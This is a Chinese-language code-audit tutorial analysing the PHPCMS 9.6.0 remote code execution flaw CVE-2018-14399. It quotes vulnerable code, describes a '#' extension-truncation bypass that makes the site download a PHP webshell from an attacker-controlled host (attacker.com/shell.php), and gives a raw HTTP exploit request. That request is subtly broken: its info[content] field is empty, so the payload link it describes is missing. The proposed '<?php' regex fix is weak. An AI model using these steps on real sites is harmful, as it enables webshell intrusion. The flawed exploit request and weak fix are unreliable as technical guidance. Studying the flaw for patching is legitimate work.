代码审计入门篇-CVE-2018-14399
字数 1468 2025-08-19 12:42:38

PHPCMS 9.6.0 远程代码执行漏洞分析 (CVE-2018-14399)

0x01 漏洞概述

漏洞描述
PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件类型做正确校验。远程攻击者可以利用该漏洞上传并执行任意PHP代码。

影响版本:PHPCMS 9.6.0

漏洞类型:远程代码执行

危害等级:高危

0x02 漏洞分析

漏洞触发流程

  1. 用户注册流程入口

    • 漏洞触发点在用户注册页面
    • 主要文件:phpcms/modules/member/index.php中的register()方法
  2. 关键代码段

    if($member_setting['choosemodel']) {
        require_once CACHE_MODEL_PATH.'member_input.class.php';
        require_once CACHE_MODEL_PATH.'member_update.class.php';
        $member_input = new member_input($userinfo['modelid']); 
        $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
        $user_model_info = $member_input->get($_POST['info']);                                  
    }
    
  3. 可控变量

    • $userinfo['modelid']是用户可控变量
    • 通过控制modelid可以影响后续执行流程

核心漏洞点分析

  1. member_input类初始化

    • 文件路径:caches/caches_model/caches_data/member_input.class.php
    • 关键代码:
      function __construct($modelid) {
          $this->db = pc_base::load_model('sitemodel_field_model');
          $this->db_pre = $this->db->db_tablepre;
          $this->modelid = $modelid;
          $this->fields = getcache('model_field_'.$modelid,'model');
          pc_base::load_sys_class('attachment','',0);
          $this->siteid = param::get_cookie('siteid');
          $this->attachment = new attachment('content','0',$this->siteid);
      }
      
  2. get()方法中的动态调用

    • 关键代码:
      $func = $this->fields[$field]['formtype'];
      if(method_exists($this, $func)) $value = $this->$func($field, $value);
      
    • 通过控制formtype可以调用不同的方法
  3. editor()方法中的文件下载

    • 关键代码:
      function editor($field, $value) {
          $setting = string2array($this->fields[$field]['setting']);
          $enablesaveimage = $setting['enablesaveimage'];
          $site_setting = string2array($this->site_config['setting']);
          $watermark_enable = intval($site_setting['watermark_enable']);
          $value = $this->attachment->download('content', $value,$watermark_enable);
          return $value;
      }
      
  4. attachment类的download方法

    • 文件路径:phpcms/libs/classes/attachment.class.php
    • 关键漏洞点:
      • 使用#字符截断绕过文件后缀检查
      • 正则表达式仅检查URL中的文件后缀,但实际下载的文件内容不受限制

漏洞利用关键

  1. 控制modelid

    • 通过设置modelid=11可以调用editor方法而非默认的datetime方法
  2. 文件后缀绕过

    • 使用#字符截断:<a href=http://127.0.0.1/1.php#1.png>
    • 实际下载的是1.php的内容,但系统认为下载的是.png文件
  3. 文件路径获取

    • 由于插入数据库时会报错,错误信息会泄露上传的文件路径

0x03 漏洞复现

复现步骤

  1. 准备恶意文件

    • 在攻击者控制的服务器上放置PHP文件,如http://attacker.com/shell.php
  2. 构造恶意请求

    POST /index.php?m=member&c=index&a=register HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    siteid=1&modelid=11&username=test&password=test123&email=test@test.com
    &info[content]=&dosubmit=1
    
  3. 获取Webshell路径

    • 查看返回的错误信息,其中会包含上传的文件路径
    • 如:/uploadfile/2023/0512/20230512012345.php
  4. 访问Webshell

    • 访问http://target.com/uploadfile/2023/0512/20230512012345.php

复现POC

POST /index.php?m=member&c=index&a=register HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

siteid=1&modelid=11&username=attacker&password=Attacker123&email=attacker@example.com
&info[content]=&dosubmit=1&protocol=

0x04 修复建议

  1. 官方修复

    • 升级到PHPCMS最新版本
  2. 临时修复措施

    • attachment.class.phpdownload方法中增加严格的文件类型检查
    • 禁止从远程下载可执行文件
    • 对上传的文件内容进行安全检查
  3. 代码层修复

    // 修改download方法,增加真实文件类型检查
    $file_content = file_get_contents($file);
    if (preg_match('/<\?php/i', $file_content)) {
        unlink($newfile);
        return false;
    }
    

0x05 总结

该漏洞的核心问题在于:

  1. 用户可控制调用类方法(通过modelid和formtype)
  2. 文件下载功能未对实际文件内容进行校验
  3. 使用#字符截断可绕过文件后缀检查

漏洞利用需要满足以下条件:

  1. 目标系统允许用户注册
  2. 攻击者能够控制一个可公开访问的恶意文件服务器
  3. 系统未对上传的文件内容进行严格检查

此漏洞再次提醒我们,在文件操作功能中必须进行多重验证,包括但不限于:

  • 文件扩展名检查
  • 文件内容检查
  • 文件MIME类型验证
  • 文件权限设置
PHPCMS 9.6.0 远程代码执行漏洞分析 (CVE-2018-14399) 0x01 漏洞概述 漏洞描述 : PHPCMS 9.6.0版本中的 libs/classes/attachment.class.php 文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件类型做正确校验。远程攻击者可以利用该漏洞上传并执行任意PHP代码。 影响版本 :PHPCMS 9.6.0 漏洞类型 :远程代码执行 危害等级 :高危 0x02 漏洞分析 漏洞触发流程 用户注册流程入口 : 漏洞触发点在用户注册页面 主要文件: phpcms/modules/member/index.php 中的 register() 方法 关键代码段 : 可控变量 : $userinfo['modelid'] 是用户可控变量 通过控制 modelid 可以影响后续执行流程 核心漏洞点分析 member_ input类初始化 : 文件路径: caches/caches_model/caches_data/member_input.class.php 关键代码: get()方法中的动态调用 : 关键代码: 通过控制 formtype 可以调用不同的方法 editor()方法中的文件下载 : 关键代码: attachment类的download方法 : 文件路径: phpcms/libs/classes/attachment.class.php 关键漏洞点: 使用 # 字符截断绕过文件后缀检查 正则表达式仅检查URL中的文件后缀,但实际下载的文件内容不受限制 漏洞利用关键 控制modelid : 通过设置 modelid=11 可以调用 editor 方法而非默认的 datetime 方法 文件后缀绕过 : 使用 # 字符截断: <a href=http://127.0.0.1/1.php#1.png> 实际下载的是 1.php 的内容,但系统认为下载的是 .png 文件 文件路径获取 : 由于插入数据库时会报错,错误信息会泄露上传的文件路径 0x03 漏洞复现 复现步骤 准备恶意文件 : 在攻击者控制的服务器上放置PHP文件,如 http://attacker.com/shell.php 构造恶意请求 : 获取Webshell路径 : 查看返回的错误信息,其中会包含上传的文件路径 如: /uploadfile/2023/0512/20230512012345.php 访问Webshell : 访问 http://target.com/uploadfile/2023/0512/20230512012345.php 复现POC 0x04 修复建议 官方修复 : 升级到PHPCMS最新版本 临时修复措施 : 在 attachment.class.php 的 download 方法中增加严格的文件类型检查 禁止从远程下载可执行文件 对上传的文件内容进行安全检查 代码层修复 : 0x05 总结 该漏洞的核心问题在于: 用户可控制调用类方法(通过modelid和formtype) 文件下载功能未对实际文件内容进行校验 使用#字符截断可绕过文件后缀检查 漏洞利用需要满足以下条件: 目标系统允许用户注册 攻击者能够控制一个可公开访问的恶意文件服务器 系统未对上传的文件内容进行严格检查 此漏洞再次提醒我们,在文件操作功能中必须进行多重验证,包括但不限于: 文件扩展名检查 文件内容检查 文件MIME类型验证 文件权限设置